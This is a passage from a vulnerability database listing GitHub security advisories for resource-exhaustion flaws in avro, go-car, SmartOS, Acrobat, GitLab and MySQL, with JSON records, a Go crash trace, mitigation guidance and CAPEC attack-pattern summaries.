\ntesting.tRunner(0xc0001b56c0, 0xc789e0) \n /usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc000080fc0 sp=0xc000080f70 pc=0x53632b \ntesting.(*T).Run.func1() \n /usr/local/go/src/testing/testing.go:1629 +0x2a fp=0xc000080fe0 sp=0xc000080fc0 pc=0x53736a \nruntime.goexit() \n /usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000080fe8 sp=0xc000080fe0 pc=0x47c621 \ncreated by testing.(*T).Run \n /usr/local/go/src/testing/testing.go:1629 +0x3ea \n \ngoroutine 1 [chan receive]: \nruntime.gopark(0x1193660?, 0xc000122900?, 0xf0?, 0x28?, 0xc00019da28?) \n /usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00019d9a8 sp=0xc00019d988 pc=0x4487f6 \nruntime.chanrecv(0xc0002423f0, 0xc00019daa7, 0x1) \n /usr/local/go/src/runtime/chan.go:583 +0x49d fp=0xc00019da38 sp=0xc00019d9a8 pc=0x4137fd \nruntime.chanrecv1(0x11926e0?, 0xb445e0?) \n /usr/local/go/src/runtime/chan.go:442 +0x18 fp=0xc00019da60 sp=0xc00019da38 pc=0x4132f8 \ntesting.(*T).Run(0xc0001b5520, {0xc34a0b?, 0x535ba5?}, 0xc789e0) \n /usr/local/go/src/testing/testing.go:1630 +0x405 fp=0xc00019db20 sp=0xc00019da60 pc=0x5371e5 \ntesting.runTests.func1(0x1193660?) \n /usr/local/go/src/testing/testing.go:2036 +0x45 fp=0xc00019db70 sp=0xc00019db20 pc=0x5393a5 \ntesting.tRunner(0xc0001b5520, 0xc00019dc88) \n /usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc00019dbc0 sp=0xc00019db70 pc=0x53632b \ntesting.runTests(0xc000228820?, {0x11487c0, 0xa, 0xa}, {0xc00023fb60?, 0x100c00019dd10?, 0x1192d20?}) \n /usr/local/go/src/testing/testing.go:2034 +0x489 fp=0xc00019dcb8 sp=0xc00019dbc0 pc=0x539289 \ntesting.(*M).Run(0xc000228820) \n /usr/local/go/src/testing/testing.go:1906 +0x63a fp=0xc00019df00 sp=0xc00019dcb8 pc=0x537bfa \nmain.main() \n _testmain.go:65 +0x1aa fp=0xc00019df80 sp=0xc00019df00 pc=0xa3f9ea \nruntime.main() \n /usr/local/go/src/runtime/proc.go:250 +0x207 fp=0xc00019dfe0 sp=0xc00019df80 pc=0x4483c7 \nruntime.goexit() \n /usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00019dfe8 sp=0xc00019dfe0 pc=0x47c621 \n\ngoroutine 2 [force gc (idle)]: \nruntime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?) \n /usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006cfb0 sp=0xc00006cf90 pc=0x4487f6 \nruntime.goparkunlock(...) \n /usr/local/go/src/runtime/proc.go:387 \nruntime.forcegchelper() \n /usr/local/go/src/runtime/proc.go:305 +0xb0 fp=0xc00006cfe0 sp=0xc00006cfb0 pc=0x448630 \nruntime.goexit() \n /usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006cfe8 sp=0xc00006cfe0 pc=0x47c621 \ncreated by runtime.init.6 \n /usr/local/go/src/runtime/proc.go:293 +0x25 \n\ngoroutine 3 [GC sweep wait]: \nruntime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?) \n /usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006d780 sp=0xc00006d760 pc=0x4487f6 \nruntime.goparkunlock(...) \n /usr/local/go/src/runtime/proc.go:387 \nruntime.bgsweep(0x0?) \n /usr/local/go/src/runtime/mgcsweep.go:278 +0x8e fp=0xc00006d7c8 sp=0xc00006d780 pc=0x43282e \nruntime.gcenable.func1() \n /usr/local/go/src/runtime/mgc.go:178 +0x26 fp=0xc00006d7e0 sp=0xc00006d7c8 pc=0x427ae6 \nruntime.goexit() \n /usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006d7e8 sp=0xc00006d7e0 pc=0x47c621 \ncreated by runtime.gcenable \n /usr/local/go/src/runtime/mgc.go:178 +0x6b \n\ngoroutine 4 [GC scavenge wait]: \nruntime.gopark(0xc00003c070?, 0xd19648?, 0x1?, 0x0?, 0x0?) \n /usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006df70 sp=0xc00006df50 pc=0x4487f6 \nruntime.goparkunlock(...) \n /usr/local/go/src/runtime/proc.go:387 \nruntime.(*scavengerState).park(0x1192e40) \n /usr/local/go/src/runtime/mgcscavenge.go:400 +0x53 fp=0xc00006dfa0 sp=0xc00006df70 pc=0x430753 \nruntime.bgscavenge(0x0?) \n /usr/local/go/src/runtime/mgcscavenge.go:628 +0x45 fp=0xc00006dfc8 sp=0xc00006dfa0 pc=0x430d25 \nruntime.gcenable.func2() \n /usr/local/go/src/runtime/mgc.go:179 +0x26 fp=0xc00006dfe0 sp=0xc00006dfc8 pc=0x427a86 \nruntime.goexit() \n /usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006dfe8 sp=0xc00006dfe0 pc=0x47c621 \ncreated by runtime.gcenable \n /usr/local/go/src/runtime/mgc.go:179 +0xaa \n\ngoroutine 18 [finalizer wait]: \nruntime.gopark(0x1a0?, 0x1193660?, 0xe0?, 0x24?, 0xc00006c770?) \n /usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006c628 sp=0xc00006c608 pc=0x4487f6 \nruntime.runfinq() \n /usr/local/go/src/runtime/mfinal.go:193 +0x107 fp=0xc00006c7e0 sp=0xc00006c628 pc=0x426b27 \nruntime.goexit() \n /usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006c7e8 sp=0xc00006c7e0 pc=0x47c621 \ncreated by runtime.createfing \n /usr/local/go/src/runtime/mfinal.go:163 +0x45\n\ngoroutine 19 [IO wait]: \nruntime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?) \n /usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc000185a78 sp=0xc000185a58 pc=0x4487f6 \nruntime.netpollblock(0x0?, 0x4100cf?, 0x0?) \n /usr/local/go/src/runtime/netpoll.go:527 +0xf7 fp=0xc000185ab0 sp=0xc000185a78 pc=0x440e17 \ninternal/poll.runtime_pollWait(0x7f4d85613218, 0x72) \n /usr/local/go/src/runtime/netpoll.go:306 +0x89 fp=0xc000185ad0 sp=0xc000185ab0 pc=0x476b29 \ninternal/poll.(*pollDesc).wait(0xc000158980?, 0xc0001b0ca0?, 0x0) \n /usr/local/go/src/internal/poll/fd_poll_runtime.go:84 +0x32 fp=0xc000185af8 sp=0xc000185ad0 pc=0x4b4832 \ninternal/poll.(*pollDesc).waitRead(...) \n /usr/local/go/src/internal/poll/fd_poll_runtime.go:89 \ninternal/poll.(*FD).ReadMsg(0xc000158980, {0xc0001b0ca0, 0x10, 0x10}, {0xc00016a620, 0x1000, 0x1000}, 0x1?) \n /usr/local/go/src/internal/poll/fd_unix.go:304 +0x3aa fp=0xc000185be8 sp=0xc000185af8 pc=0x4b6f2a \nnet.(*netFD).readMsg(0xc000158980, {0xc0001b0ca0?, 0x1?, 0xd26db0?}, {0xc00016a620?, 0x1?, 0x5?}, 0xb?) \n /usr/local/go/src/net/fd_posix.go:78 +0x37 fp=0xc000185c70 sp=0xc000185be8 pc=0x68cb57 \nnet.(*UnixConn).readMsg(0xc000122690, {0xc0001b0ca0?, 0xc00012f038?, 0xd1da40?}, {0xc00016a620?, 0xd1da40?, 0xc0001b6300?}) \n /usr/local/go/src/net/unixsock_posix.go:115 +0x4f fp=0xc000185d00 sp=0xc000185c70 pc=0x6a7f6f \nnet.(*UnixConn).ReadMsgUnix(0xc000122690, {0xc0001b0ca0?, 0x422a90?, 0xc0001b6300?}, {0xc00016a620?, 0x41a68a?, 0xc00012f260?}) \n /usr/local/go/src/net/unixsock.go:143 +0x3c fp=0xc000185d78 sp=0xc000185d00 pc=0x6a69bc \ngithub.com/godbus/dbus.(*oobReader).Read(0xc00016a600, {0xc0001b0ca0?, 0xc000185e28?, 0x41aa67?}) \n /home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/transport_unix.go:21 +0x45 fp=0xc000185df0 sp=0xc000185d78 pc=0x8c1d85 \nio.ReadAtLeast({0xd1e040, 0xc00016a600}, {0xc0001b0ca0, 0x10, 0x10}, 0x10) \n /usr/local/go/src/io/io.go:332 +0x9a fp=0xc000185e38 sp=0xc000185df0 pc=0x4af45a \nio.ReadFull(...) \n /usr/local/go/src/io/io.go:351 \ngithub.com/godbus/dbus.(*unixTransport).ReadMessage(0xc00012ea80) \n /home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/transport_unix.go:91 +0x11e fp=0xc000185f68 sp=0xc000185e38 pc=0x8c239e \ngithub.com/godbus/dbus.(*Conn).inWorker(0xc0001b2000) \n /home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/conn.go:294 +0x3b fp=0xc000185fc8 sp=0xc000185f68 pc=0x8ab47b \ngithub.com/godbus/dbus.(*Conn).Auth.func1() \n /home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/auth.go:118 +0x26 fp=0xc000185fe0 sp=0xc000185fc8 pc=0x8a8766 \nruntime.goexit() \n /usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000185fe8 sp=0xc000185fe0 pc=0x47c621 \ncreated by github.com/godbus/dbus.(*Conn).Auth \n /home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/auth.go:118 +0x9ee \nexit status 2 \nFAIL github.com/dapr/components-contrib/pubsub/pulsar 0.027s\n```\n\n### Impact\nAny use case of the avro Unmarshalling routine that accepts untrusted input is affected. \n\nThe impact is that an attacker can crash the running application and cause denial of service.\n",
"id": "GHSA-9x44-9pgq-cf45",
"modified": "2023-07-19T10:54:45Z",
"published": "2023-07-17T10:55:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hamba/avro/security/advisories/GHSA-9x44-9pgq-cf45"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37475"
},
{
"type": "WEB",
"url": "https://github.com/hamba/avro/pull/273"
},
{
"type": "WEB",
"url": "https://github.com/hamba/avro/commit/b4a402f41cf44b6094b5131286830ba9bb1eb290"
},
{
"type": "PACKAGE",
"url": "https://github.com/hamba/avro"
},
{
"type": "WEB",
"url": "https://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242"
},
{
"type": "WEB",
"url": "https://github.com/hamba/avro/releases/tag/v2.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "avro vulnerable to denial of service via attacker-controlled parameter"
}
GHSA-9X4H-8WGM-8XFG
Vulnerability from github – Published: 2022-07-06 19:26 – Updated: 2022-07-06 19:26
VLAI
Summary
Malformed CAR panics and excessive memory usage
Details
Impact
Versions impacted
* <= go-car@v0.3.3
* <= go-car@v2.3.0
Description
Decoding CAR data from untrusted user input can cause:
- Panics:
- Out of bound memory access
- Out of memory
- Divide by zero
- Excessive memory usage
Such panics can be triggered by intentionally malformed CARv1 data, including CARv1 data within a CARv2 container; and also CARv2 data with excessively large indexes.
These vulnerabilities are not known to be exploited in the wild and were discovered primarily with the use of code fuzzing tooling.
Details
Out of bound memory access (OOB), out of memory (OOM) panics or excessive memory usage can be triggered by decode of malformed CARv1 headers, malformed CARv1 sections, and malformed CIDv0 data used in CARv1 sections. This also applies to CARv1 data within a CARv2 container.
Additionally, we wish to use this security advisory to make clear to consumers of CARv2 format data that loading CARv2 indexes from untrusted sources is dangerous and should be avoided. Where CAR data indexes are required, they should be regenerated locally. Out of memory (OOM) panics or excessive memory usage can be triggered by decode of intentionally malformed CARv2 indexes, or CARv2 indexes which are larger than available system memory (i.e. parallelization of CARv2 decodes may increase such a vulnerability).
Patches
Fixed versions
>=go-car@v0.4.0>=go-car@v2.4.0
Description of user-facing changes
go-car@v0.4.0 imposes a fixed maximum header length and section length of 32 MiB during decode. Headers exceeding this length will cause the decoder to return an error as the initial CAR decode occurs. Sections (the combination of CID and block data) exceeding this length will cause the decoder to return an error as that section is read.
The default maximum of 32 MiB may be changed globally in an application instance by directly changing the MaxAllowedSectionSize variable in the github.com/ipld/go-car/util package.
We recommend that users of go-car@v0 upgrade to go-car@v2, where these maximums may be applied per-decode rather than globally.
go-car@v2.4.0 imposes a default maximum header length of 32 MiB and a default maximum section length of 8 MiB. Headers exceeding this length will cause the decoder to return an error as the initial CAR decode occurs. Sections (the combination of CID and block data) exceeding this length will cause the decoder to return an error as that section is read.
The default values may be adjusted by supplying a MaxAllowedHeaderSize(x) or MaxAllowedSectionSize(y) option to any decode function that accepts options. These include:
OpenReader()NewReader()NewBlockReader()ReadVersion()LoadIndex()GenerateIndex()ReadOrGenerateIndex()WrapV1()ExtractV1File()ReplaceRootsInFile()blockstore/NewBlockReader()blockstore/NewReadOnly()blockstore/OpenReadOnly()blockstore/OpenReadWrite()
Please be aware that the default values are very generous and may be lowered where a user wants to impose restrictions closer to typical sizes.
- Typical header lengths should be in the order of 60 bytes, but the CAR format does not specify a maximum number of roots a header may contain. The default maximum of 32 MiB makes room for novel uses of the CAR format.
- Typical IPLD block sizes are under 2 MiB, and it is generally recommended that they not be above 1 MiB for maximum interoperability (e.g. there are hard limitations when sharing IPLD data with IPFS). CARv1 sections are the concatenation of CID and block bytes. The default maximum section length of 8 MiB makes room for novel IPLD data.
go-car@v2.4.0 introduces a new API that can be used to inspect a CAR and check for various errors, including those detailed in this advisory. The Reader#Inspect(bool) API returns a Stats object with various details about the CAR, such as its version, number of blocks, and details about codecs and multihashers used. When its argument is true, it will also perform a full hash consistency check of blocks contained within the CAR to ensure they match the CIDs. When false, block data is skipped over so a scan will likely be more efficient than reading blocks through a BlockReader if statistics and/or validity checking is all that's required. Note that Inspect() does minimal checking of index data; the strong recommendation is that if index data is untrusted then it should be regenerated.
go-car@v2.4.0 also includes additional documentation regarding the dangers of consuming CARv2 index data from untrusted sources and a recommendation to regenerate indexes of CAR data from such sources where an index is required.
Workarounds
There are no workarounds for vulnerabilities in impacted versions decoding CARv1 data. Users of impacted versions should avoid accepting CAR data from untrusted sources.
OOM or excessive memory usage vulnerabilities resulting from CARv2 index parsing in impacted versions can be avoided by not reading indexes from CARv2 data from untrusted sources.
References
Details on the CARv1 and CARv2 formats, including the composition of CARv1 headers and sections, and CARv2 indexes can be found in the CAR format specifications: https://ipld.io/specs/transport/car/
For more information
If you have any questions or comments about this advisory please open an issue in go-car.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/ipld/go-car"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/ipld/go-car/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-06T19:26:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\n**Versions impacted**\n * `\u003c=` go-car@v0.3.3\n * `\u003c=` go-car@v2.3.0\n\n**Description**\n\nDecoding CAR data from untrusted user input can cause:\n\n- Panics:\n - Out of bound memory access\n - Out of memory\n - Divide by zero\n- Excessive memory usage\n\nSuch panics can be triggered by intentionally malformed CARv1 data, including CARv1 data within a CARv2 container; and also CARv2 data with excessively large indexes.\n\nThese vulnerabilities are not known to be exploited in the wild and were discovered primarily with the use of code fuzzing tooling.\n\n**Details**\n\n**Out of bound memory access** (OOB), **out of memory** (OOM) panics or **excessive memory usage** can be triggered by decode of malformed CARv1 headers, malformed CARv1 sections, and malformed CIDv0 data used in CARv1 sections. This also applies to CARv1 data within a CARv2 container.\n\nAdditionally, we wish to use this security advisory to make clear to consumers of CARv2 format data that **loading CARv2 indexes from untrusted sources is dangerous and should be avoided**. Where CAR data indexes are required, they should be regenerated locally. Out of memory (OOM) panics or excessive memory usage can be triggered by decode of intentionally malformed CARv2 indexes, or CARv2 indexes which are larger than available system memory (i.e. parallelization of CARv2 decodes may increase such a vulnerability).\n\n### Patches\n\n**Fixed versions**\n\n* `\u003e=` go-car@v0.4.0\n* `\u003e=` go-car@v2.4.0\n\n**Description of user-facing changes**\n\n***go-car@v0.4.0*** imposes a fixed maximum header length and section length of 32 MiB during decode. Headers exceeding this length will cause the decoder to return an error as the initial CAR decode occurs. Sections (the combination of CID and block data) exceeding this length will cause the decoder to return an error as that section is read.\n\nThe default maximum of 32 MiB may be changed _globally_ in an application instance by directly changing the `MaxAllowedSectionSize` variable in the `github.com/ipld/go-car/util` package.\n\nWe recommend that users of go-car@v0 upgrade to go-car@v2, where these maximums may be applied per-decode rather than globally.\n\n***go-car@v2.4.0*** imposes a default maximum header length of 32 MiB and a default maximum section length of 8 MiB. Headers exceeding this length will cause the decoder to return an error as the initial CAR decode occurs. Sections (the combination of CID and block data) exceeding this length will cause the decoder to return an error as that section is read.\n\nThe default values may be adjusted by supplying a `MaxAllowedHeaderSize(x)` or `MaxAllowedSectionSize(y)` option to any decode function that accepts options. These include:\n\n* `OpenReader()`\n* `NewReader()`\n* `NewBlockReader()`\n* `ReadVersion()`\n* `LoadIndex()`\n* `GenerateIndex()`\n* `ReadOrGenerateIndex()`\n* `WrapV1()`\n* `ExtractV1File()`\n* `ReplaceRootsInFile()`\n* `blockstore/NewBlockReader()`\n* `blockstore/NewReadOnly()`\n* `blockstore/OpenReadOnly()`\n* `blockstore/OpenReadWrite()`\n\nPlease be aware that the default values are **very generous** and may be lowered where a user wants to impose restrictions closer to typical sizes.\n\n* Typical header lengths should be in the order of 60 bytes, but the CAR format does not specify a maximum number of roots a header may contain. The default maximum of 32 MiB makes room for novel uses of the CAR format.\n* Typical IPLD block sizes are under 2 MiB, and it is generally recommended that they not be above 1 MiB for maximum interoperability (e.g. there are hard limitations when sharing IPLD data with IPFS). CARv1 sections are the concatenation of CID and block bytes. The default maximum section length of 8 MiB makes room for novel IPLD data.\n\n***go-car@v2.4.0*** introduces a new API that can be used to inspect a CAR and check for various errors, including those detailed in this advisory. The `Reader#Inspect(bool)` API returns a `Stats` object with various details about the CAR, such as its version, number of blocks, and details about codecs and multihashers used. When its argument is `true`, it will also perform a full hash consistency check of blocks contained within the CAR to ensure they match the CIDs. When `false`, block data is skipped over so a scan will likely be more efficient than reading blocks through a `BlockReader` if statistics and/or validity checking is all that\u0027s required. Note that `Inspect()` does minimal checking of index data; the strong recommendation is that if index data is untrusted then it should be regenerated.\n\n***go-car@v2.4.0*** also includes additional documentation regarding the dangers of consuming CARv2 index data from untrusted sources and a recommendation to regenerate indexes of CAR data from such sources where an index is required.\n\n### Workarounds\n\nThere are no workarounds for vulnerabilities in impacted versions decoding CARv1 data. Users of impacted versions should avoid accepting CAR data from untrusted sources.\n\nOOM or excessive memory usage vulnerabilities resulting from CARv2 index parsing in impacted versions can be avoided by not reading indexes from CARv2 data from untrusted sources.\n\n### References\n\nDetails on the CARv1 and CARv2 formats, including the composition of CARv1 headers and sections, and CARv2 indexes can be found in the CAR format specifications: https://ipld.io/specs/transport/car/\n\n### For more information\n\nIf you have any questions or comments about this advisory please open an issue in [go-car](https://github.com/ipld/go-car).",
"id": "GHSA-9x4h-8wgm-8xfg",
"modified": "2022-07-06T19:26:17Z",
"published": "2022-07-06T19:26:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ipld/go-car/security/advisories/GHSA-9x4h-8wgm-8xfg"
},
{
"type": "PACKAGE",
"url": "https://github.com/ipld/go-car"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0503"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Malformed CAR panics and excessive memory usage"
}
GHSA-9X7X-FV7W-R8PQ
Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01
VLAI
Details
An exploitable denial of service exists in the the Joyent SmartOS OS 20161110T013148Z Hyprlofs file system. The vulnerability is present in the Ioctl system call with the command HYPRLOFSADDENTRIES when used with a 32 bit model. An attacker can cause a buffer to be allocated and never freed. When repeatedly exploit this will result in memory exhaustion, resulting in a full system denial of service.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2016-9040"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-07T12:29:00Z",
"severity": "MODERATE"
},
"details": "An exploitable denial of service exists in the the Joyent SmartOS OS 20161110T013148Z Hyprlofs file system. The vulnerability is present in the Ioctl system call with the command HYPRLOFSADDENTRIES when used with a 32 bit model. An attacker can cause a buffer to be allocated and never freed. When repeatedly exploit this will result in memory exhaustion, resulting in a full system denial of service.",
"id": "GHSA-9x7x-fv7w-r8pq",
"modified": "2022-05-13T01:01:06Z",
"published": "2022-05-13T01:01:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9040"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0258"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9X8F-H3F2-XGC3
Vulnerability from github – Published: 2022-05-24 17:26 – Updated: 2022-05-24 17:26
VLAI
Details
Adobe Acrobat and Reader versions 2020.009.20074 and earlier, 2020.001.30002, 2017.011.30171 and earlier, and 2015.006.30523 and earlier have a stack exhaustion vulnerability. Successful exploitation could lead to application denial-of-service.
{
"affected": [],
"aliases": [
"CVE-2020-9703"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-19T14:15:00Z",
"severity": "MODERATE"
},
"details": "Adobe Acrobat and Reader versions 2020.009.20074 and earlier, 2020.001.30002, 2017.011.30171 and earlier, and 2015.006.30523 and earlier have a stack exhaustion vulnerability. Successful exploitation could lead to application denial-of-service.",
"id": "GHSA-9x8f-h3f2-xgc3",
"modified": "2022-05-24T17:26:11Z",
"published": "2022-05-24T17:26:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9703"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb20-48.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9X8H-2288-5G98
Vulnerability from github – Published: 2024-08-08 12:30 – Updated: 2024-08-08 12:30
VLAI
Details
ReDoS flaw in RefMatcher when matching branch names using wildcards in GitLab EE/CE affecting all versions from 11.3 prior to 17.0.6, 17.1 prior to 17.1.4, and 17.2 prior to 17.2.2 allows denial of service via Regex backtracking.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-2800"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-08T11:15:12Z",
"severity": "MODERATE"
},
"details": "ReDoS flaw in RefMatcher when matching branch names using wildcards in GitLab EE/CE affecting all versions from 11.3 prior to 17.0.6, 17.1 prior to 17.1.4, and 17.2 prior to 17.2.2 allows denial of service via Regex backtracking.",
"id": "GHSA-9x8h-2288-5g98",
"modified": "2024-08-08T12:30:34Z",
"published": "2024-08-08T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2800"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2416332"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/451293"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9X98-6MJR-3CHW
Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31
VLAI
Details
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Severity
4.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-50095"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-15T20:15:45Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-9x98-6mjr-3chw",
"modified": "2025-07-15T21:31:42Z",
"published": "2025-07-15T21:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50095"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
Architecture and Design
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Implementation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.